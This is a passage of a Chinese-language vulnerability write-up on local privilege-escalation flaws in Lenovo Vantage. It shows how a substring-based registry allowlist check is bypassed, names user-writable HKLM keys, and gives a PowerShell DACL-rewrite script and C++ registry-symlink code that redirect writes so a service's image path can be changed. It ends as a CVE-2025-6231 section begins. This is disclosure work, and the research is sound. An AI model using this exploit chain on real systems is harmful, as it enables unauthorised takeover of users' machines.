leaf="">StringComparison</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">OrdinalIgnoreCase</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">))</span><br/><span leaf="">        {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">KeyChild</span></span><span leaf="">[] </span><span style="color: rgb(0, 92, 197);"><span leaf="">keyChildren</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">key</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">KeyChildren</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">foreach</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">KeyChild</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">keyChild</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">in</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">keyChildren</span></span><span leaf="">)</span><br/><span leaf="">            {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">RegistryQuery</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">WriteValue</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">key</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Location</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">keyChild</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Name</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">keyChild</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Value</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">view64</span></span><span leaf="">: </span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf="">,</span><br/><span leaf="">                                                           (</span><span style="color: rgb(0, 92, 197);"><span leaf="">RegistryValueType</span></span><span leaf="">)</span><span style="color: rgb(0, 92, 197);"><span leaf="">keyChild</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Type</span></span><span leaf="">);</span><br/><span leaf="">            }</span><br/><span leaf="">        }</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">...</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，该校验仅通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IndexOf(..) &gt;= 0</span></code><span leaf="">判断白名单字符串是否出现在路径中，并未验证路径是否真正位于该位置之下。以下路径即可绕过校验：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">HKLM\SOFTWARE\Lenovo\HKCU\SOFTWARE\Lenovo</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于白名单字符串作为子串存在于完整路径中，写入操作得以通过校验。通常情况下，非特权用户无法访问 HKLM 配置单元，因为对其的写入可能直接危及主机安全。但研究过程中，我们发现若干 Lenovo 专属键值对普通桌面用户开放了写权限：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1</span><br/><span leaf="">HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\ExtremeBatteryLife</span><br/><span leaf="">HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Gadget</span><br/><span leaf="">HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Log</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上述四个键均由本地用户持有所有权，因此可被任意写入和修改：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(34, 134, 58);"><span leaf="">RegistryRights</span></span><span leaf="">    : </span><span style="color: rgb(0, 56, 120);"><span leaf="">FullControl</span></span><br/><span style="color: rgb(34, 134, 58);"><span leaf="">AccessControlType</span></span><span leaf=""> : </span><span style="color: rgb(0, 56, 120);"><span leaf="">Allow</span></span><br/><span style="color: rgb(34, 134, 58);"><span leaf="">IdentityReference</span></span><span leaf=""> : </span><span style="color: rgb(0, 56, 120);"><span leaf="">a-pdx1\bja</span></span><br/><span style="color: rgb(34, 134, 58);"><span leaf="">IsInherited</span></span><span leaf="">       : </span><span style="color: rgb(0, 92, 197);"><span leaf="">True</span></span><br/><span style="color: rgb(34, 134, 58);"><span leaf="">InheritanceFlags</span></span><span leaf="">  : </span><span style="color: rgb(0, 56, 120);"><span leaf="">None</span></span><br/><span style="color: rgb(34, 134, 58);"><span leaf="">PropagationFlags</span></span><span leaf="">  : </span><span style="color: rgb(0, 56, 120);"><span leaf="">None</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">需要指出，HKLM 下还存在其他对普通用户可写的键值，此处选用 Lenovo 路径主要是出于可移植性考虑。另外，由于 Microsoft 引入了一项安全缓解措施，禁止从非特权配置单元向特权配置单元创建符号链接，HKCU 到 HKLM 的直接符号链接无法建立 (详见此处) 。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要完成漏洞利用，攻击者首先需要修改目标键值的 DACL，使其支持子键权限继承。在默认状态下，虽然 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bja</span></code><span leaf="">用户持有该键值的所有权并可创建子键，但子键不会继承父键权限 (参见上方 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InheritanceFlags</span></code><span leaf="">) 。这一步是后续利用的前提条件。可通过以下 PowerShell 脚本为所有者重建一个携带可继承权限的 DACL：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(36, 41, 46);"><span leaf="">$regPath</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;HKLM:\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1&#34;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$identity</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;a-pdx1\bja&#34;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$acl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Acl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Path</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$regPath</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$existingRights</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$null</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">foreach</span></span><span leaf=""> (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$rule</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">in</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$acl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Access</span></span><span leaf="">) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$rule</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">IdentityReference</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">eq</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$identity</span></span><span leaf="">) {</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$existingRights</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$rule</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">RegistryRights</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><br/><span leaf="">    }</span><br/><span leaf="">}</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$inheritanceFlags</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> [</span><span style="color: rgb(0, 92, 197);"><span leaf="">System</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Security</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">AccessControl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">InheritanceFlags</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ContainerInherit</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$propagationFlags</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> [</span><span style="color: rgb(0, 92, 197);"><span leaf="">System</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Security</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">AccessControl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">PropagationFlags</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">None</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$accessRule</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-Object</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">System</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Security</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">AccessControl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">RegistryAccessRule</span></span><span leaf="">(</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$identity</span></span><span leaf="">,</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$existingRights</span></span><span leaf="">,</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$inheritanceFlags</span></span><span leaf="">,</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$propagationFlags</span></span><span leaf="">,</span><br/><span leaf="">    [</span><span style="color: rgb(0, 92, 197);"><span leaf="">System</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Security</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">AccessControl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">AccessControlType</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Allow</span></span><br/><span leaf="">)</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$acl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">AddAccessRule</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">$accessRule</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Set</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Acl</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Path</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$regPath</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">AclObject</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$acl</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DACL 修改完成后，创建如下注册表路径：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">HKLM\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1\HKCU\SOFTWARE\Lenovo</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，从上述路径向目标位置建立符号链接。以下 C++ 代码完成符号链接的创建，使后续写入重定向至 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKLM\SOFTWARE\Lenovo</span></code><span leaf="">：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">void </span><span style="color: rgb(0, 92, 197);"><span leaf="">CreateRegSymlink</span></span><span leaf="">()</span><br/><span leaf="">{</span><br/><span leaf="">   LSTATUS status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">RegCreateKeyEx</span></span><span leaf="">(HKEY_LOCAL_MACHINE,</span><br/><span leaf="">                          L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SOFTWARE</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">WOW6432Node</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Lenovo</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">PWRMGRV</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">ConfKeys</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Data</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Battery1</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">HKCU</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">SOFTWARE</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Lenovo</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Test&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">,</span><br/><span leaf="">                          nullptr,</span><br/><span leaf="">                      REG_OPTION_CREATE_LINK,</span><br/><span leaf="">                          KEY_WRITE,</span><br/><span leaf="">                          nullptr,</span><br/><span leaf="">                          &amp;hKey,</span><br/><span leaf="">                          nullptr);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (status != ERROR_SUCCESS)</span><br/><span leaf="">  {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Failed to create key: %08x</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\n</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, status);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span leaf="">  WCHAR path[] = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">REGISTRY</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">MACHINE</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">SOFTWARE</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Lenovo&#34;</span></span><span leaf="">;</span><br/><span leaf="">  status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">RegSetValueEx</span></span><span leaf="">(hKey, L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SymbolicLinkValue&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, REG_LINK, (const BYTE*)path, </span><span style="color: rgb(0, 92, 197);"><span leaf="">wcslen</span></span><span leaf="">(path) * </span><span style="color: rgb(0, 92, 197);"><span leaf="">sizeof</span></span><span leaf="">(WCHAR));</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (status != ERROR_SUCCESS) {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Failed to create symlink: %08x</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\n</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, status);</span><br/><span leaf="">  }</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">RegCloseKey</span></span><span leaf="">(hKey);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此后，所有写入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKLM\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1\HKCU\SOFTWARE\Lenovo\Test</span></code><span leaf="">的注册表操作均会被实际写入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKLM\SOFTWARE\Lenovo</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">利用该漏洞，攻击者可修改一个普通用户有权启动的现有服务的映像路径，从而以高权限执行任意二进制文件。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2025-6231</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Atredis 发现的第四个漏洞位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LenovoSystemUpdateAddin</span></code><span leaf="">组件中，该组件负责管理 Vantage 自身及其插件的更新，同时处理联想代管的第三方软件更新。此漏洞由两个逻辑缺陷复合而成：路径遍历与 TOCTOU，二者组合可触发本地权限提升 